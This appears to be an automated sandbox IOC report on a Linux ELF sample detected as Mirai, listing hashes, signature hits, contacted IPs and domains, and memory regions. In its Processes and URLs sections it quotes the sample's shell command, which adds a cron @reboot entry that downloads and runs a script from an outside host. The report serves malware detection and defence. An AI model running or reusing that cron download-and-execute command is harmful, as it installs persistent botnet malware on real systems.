Automated Malware Analysis IOC Report for

Files

File Path

Type

Category

Malicious

x86.elf

ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped

initial sample

Details

Filetype:	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Entropy:	6.266916675051606
Filename:	x86.elf
Filesize:	95576
MD5:	bb9275394716c60d1941432c7085ca13
SHA1:	43f6e51ca69e70abb7d6cfd7f11f15df3fcc97cc
SHA256:	3c0eb5de2946c558159a6b6a656d463febee037c17a1f605330e601cfcd39615
SHA512:	047ec8451a8d35ac67c7ff26e145cfe5536d94ef1a7d280d2e70dc4c3ed7dfd1386a957e1b76f50c10429774df02964d48d50d6bb8debc2c9a3bcced833b125d
SSDEEP:	1536:lDVOLhrwmN92XVNbMxvk2bB3n2GNR9maOY7h8RGEhXXBP:9VO9v4vbMxvkEB3VNR9u4h8RGaxP
Preview:	.ELF..............>.......@.....@........r..........@.8...@.......................@.......@......U.......U.......................`.......`Q......`Q.....P........o..............Q.td....................................................H...._....z/..H........

Signature Hits	Behavior Group	Mitre Attack
Malicious sample detected (through community Yara rule)	System Summary
Multi AV Scanner detection for submitted file	AV Detection
Machine Learning detection for sample	AV Detection
Executes commands using a shell command-line interpreter	Persistence and Installation Behavior
Sample listens on a socket	Networking
Yara signature match	System Summary

/var/spool/cron/crontabs/tmp.gD7MWz

ASCII text

dropped

Details

File:	/var/spool/cron/crontabs/tmp.gD7MWz
Category:	dropped
Dump:	tmp.gD7MWz.18.dr
ID:	dr_0
Target ID:	18
Process:	/usr/bin/crontab
Type:	ASCII text
Entropy:	5.16446106603911
Encrypted:	false
Ssdeep:	6:SUrpqoqQjEOP1KmREJOBFQ3pXEqQDUZHGMQ5UYLtCFt3HY5DMFDKXsJovYL8jnd/:8QjHig83QgeHLUHYC+GABjnOGAFkz
Size:	306
Whitelisted:	false
Reputation:	low

Signature Hits	Behavior Group	Mitre Attack
Sample tries to persist itself using cron	Persistence and Installation Behavior

Processes

Path

Cmdline

Malicious

/tmp/x86.elf

/bin/sh

sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"

Details

PID:	6258
Target ID:	14
Parent PID:	6257
Name:	sh
Path:	/bin/sh
Commandline:	sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") \| crontab -"
Size:	129816
MD5:	1e6b1c887c59a315edb7eb9a315fc84c
Time:	07:07:56
Date:	27/10/2024

/bin/sh

/usr/bin/crontab

crontab -l

/bin/sh

/usr/bin/crontab

crontab -

/tmp/x86.elf

URLs

Name

Malicious

http://hailcocks.ru/wget.sh;

unknown

Details

Name:	http://hailcocks.ru/wget.sh;
TargetID:	18
From Memory:	true
Current Path:	/usr/bin/crontab
Source:	tmp.gD7MWz.18.dr

Signature Hits	Behavior Group	Mitre Attack
Executes commands using a shell command-line interpreter	Persistence and Installation Behavior	Scripting
Found strings indicative of a multi-platform dropper	Spreading	Scripting
URLs found in memory or binary data	Networking

http://schemas.xmlsoap.org/soap/encoding/

unknown

Details

Name:	http://schemas.xmlsoap.org/soap/encoding/
TargetID:	20
From Memory:	true
Current Path:	/tmp/x86.elf
Source:	x86.elf

Signature Hits	Behavior Group	Mitre Attack
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable	System Summary
URLs found in memory or binary data	Networking

http://schemas.xmlsoap.org/soap/envelope/

unknown

Details

Name:	http://schemas.xmlsoap.org/soap/envelope/
TargetID:	20
From Memory:	true
Current Path:	/tmp/x86.elf
Source:	x86.elf

Signature Hits	Behavior Group	Mitre Attack
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable	System Summary
URLs found in memory or binary data	Networking

Domains

Name

Malicious

kingstonwikkerink.dyn

88.151.195.22

Details

Name:	kingstonwikkerink.dyn
IP:	88.151.195.22
TargetID:	-1
Active:	true

Signature Hits	Behavior Group	Mitre Attack
Connects to many ports of the same IP (likely port scanning)	Networking
Detected TCP or UDP traffic on non-standard ports	Networking	Non-Standard Port
Performs DNS lookups	Networking	Application Layer Protocol Non-Application Layer Protocol

IPs

Domain

Country

Malicious

194.87.198.29

unknown

Russian Federation

31.13.248.89

unknown

Bulgaria

88.151.195.22

kingstonwikkerink.dyn

Azerbaijan

193.233.193.45

unknown

Russian Federation

109.202.202.202

unknown

Switzerland

91.149.218.232

unknown

Poland

91.149.238.18

unknown

Poland

81.29.149.178

unknown

Switzerland

91.189.91.43

unknown

United Kingdom

91.189.91.42

unknown

United Kingdom

Memdumps

Base Address

Regiontype

Protect

Malicious

416000

page execute read

Details

Name:	6257.1.0000000000400000.0000000000416000.r-x.sdmp
TargetID:	12
Dumpstage:	process exit
Protect:	page execute read
Base address:	416000
Size:	90112

Signature Hits	Behavior Group	Mitre Attack
Malicious sample detected (through community Yara rule)	System Summary
Yara detected Mirai	Stealing of Sensitive Information, Remote Access Functionality
Yara detected Mirai	Stealing of Sensitive Information, Remote Access Functionality
Yara signature match	System Summary

7ffe0dd4f000

page execute read

7ffe0dcda000

page read and write

517000

page read and write

51d000

page read and write

5bd000

page read and write

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

IOC Report
x86.elf

Files

Processes

URLs

Domains

IPs

Memdumps

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

IOC Reportx86.elf

Files

Processes

URLs

Domains

IPs

Memdumps

IOC Report
x86.elf